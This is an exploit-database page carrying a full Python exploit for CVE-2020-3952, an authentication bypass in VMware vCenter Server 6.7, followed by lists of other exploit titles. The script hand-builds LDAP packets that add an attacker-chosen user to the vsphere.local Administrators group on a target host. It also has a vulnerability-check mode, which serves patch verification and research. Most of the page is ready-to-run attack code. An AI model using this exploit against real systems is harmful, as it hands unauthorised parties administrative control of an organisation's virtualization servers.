Menu

Search for hundreds of thousands of exploits

"VMware vCenter Server 6.7 - Authentication Bypass"

Author

Exploit author

Photubias

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-06-01

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
        
        File name CVE-2020-3592.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)

        Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
    #sLetters = string.ascii_lowercase
    sLetters = string.ascii_letters
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
    sReturn = sPrefix
    if (len(sData) / 2 ) > 255:
        sReturn  += b'82'
        hexBytes = 2
    elif (len(sData) /2 ) >= 128:
        sReturn += b'81'
    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
    return sReturn

def buildBindRequestPacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    ## Packet Construction
    sPacket = getLengthPrefix(sPass, b'80') + sPass
    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
    sPacket = b'020103' + sPacket
    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
    sPacket = b'020101' + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)    

def buildUserCreatePacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    def createAttribute(sName, sValue):
        sValue = getLengthPrefix(sValue, b'04') + sValue
        sName = getLengthPrefix(sName, b'04') + sName
        
        sReturn = getLengthPrefix(sValue, b'31') + sValue
        sReturn = sName + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    def createObjectClass():
        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
        
        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    ## Attributes
    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
    sAttributes += createObjectClass()
    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
    ## CN
    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
    
    ## Packet Assembly (bottom up)
    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
    sPacket = sUserEntry + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
    sMember = binascii.hexlify(b'member')
    ## Packet Construction
    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def performBind(s):
    ## Trying to bind, fails, but necessary (even fails when using correct credentials)
    dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sResponse = sResponse.split(b'\x04\x00')[0][-1:]
        sCode = binascii.hexlify(sResponse).decode()
        if sCode == '31': print('[+] Ok, service reachable, continuing')
        else: print('[-] Something went wrong')
    except:
        pass
    return sCode

def performUserAdd(s, sUser, sPass):
    dPacket = buildUserCreatePacket(sUser,sPass)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
        elif sCode == b'\x32':
            print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            print('[-] Error, user not added, message received: ' + sMessage)
    except:
        pass
    return sCode
    

def performUserMod(s, sUser, verbose = True):
    dPacket = buildModifyUserPacket(sUser)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            if verbose: print('[+] User modification success (if the above is OK).')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            if verbose: print('[-] Error during modification, message received: ' + sMessage)
    except:
        pass
    return sCode, sMessage

def performUnbind(s):
    try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
    except: pass

def main():
    global _sIP, _iPORT, _iTIMEOUT
    _sUSER = 'user_' + randomString(6)
    _sPASS = randomString(8) + '_2020'
    bAdduser = False
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
        print('    Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
        print('    Leave username & password empty for a vulnerability check')
        print('    Watch out for vCenter/LDAP password requirements, leave empty for random password')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
        if not sAnswer == '': _sIP = sAnswer
        sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
        if sAnswer.lower() == 'n': bAdduser = True
        if bAdduser:
            sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
            if not sAnswer == '': _sUSER = sAnswer
            sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
            if not sAnswer == '': _sPASS = sAnswer
    else:
        _sIP = sys.argv[1]
        if len(sys.argv) >= 3:
            _sUSER = sys.argv[2]
            bAdduser = True
        if len(sys.argv) >= 4: _sPASS = sys.argv[3]

    ## MAIN
    print('')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(_iTIMEOUT)
    try:
        s.connect((_sIP,_iPORT))
    except:
        print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
        sys.exit(1)

    performBind(s)

    if bAdduser:
        sCode = performUserAdd(s, _sUSER, _sPASS)

    if not bAdduser:
        print('[!] Checking vulnerability')
        sCode, sMessage = performUserMod(s, 'Administrator', False)
        if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
        else: print('[+] This host is vulnerable!')
    else:
        sCode = performUserMod(s, _sUSER)
    
    performUnbind(s)
    
    s.close()


if __name__ == "__main__":
    main()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-06-01 "VMware vCenter Server 6.7 - Authentication Bypass" webapps multiple Photubias
2020-05-26 "Pi-hole 4.4.0 - Remote Code Execution (Authenticated)" webapps linux Photubias
2020-05-15 "vBulletin 5.6.1 - 'nodeId' SQL Injection" webapps php Photubias
2020-03-02 "Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution" remote windows Photubias
2019-09-11 "eWON Flexy - Authentication Bypass" webapps hardware Photubias
2018-11-30 "Schneider Electric PLC - Session Calculation Authentication Bypass" webapps hardware Photubias
2018-10-12 "Phoenix Contact WebVisit 2985725 - Authentication Bypass" webapps windows Photubias
2018-10-11 "Phoenix Contact WebVisit 6.40.00 - Password Disclosure" webapps hardware Photubias
2015-10-22 "Beckhoff CX9020 CPU Module - Remote Code Execution" webapps hardware Photubias
2015-05-20 "Phoenix Contact ILC 150 ETH PLC - Remote Control Script" remote hardware Photubias
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.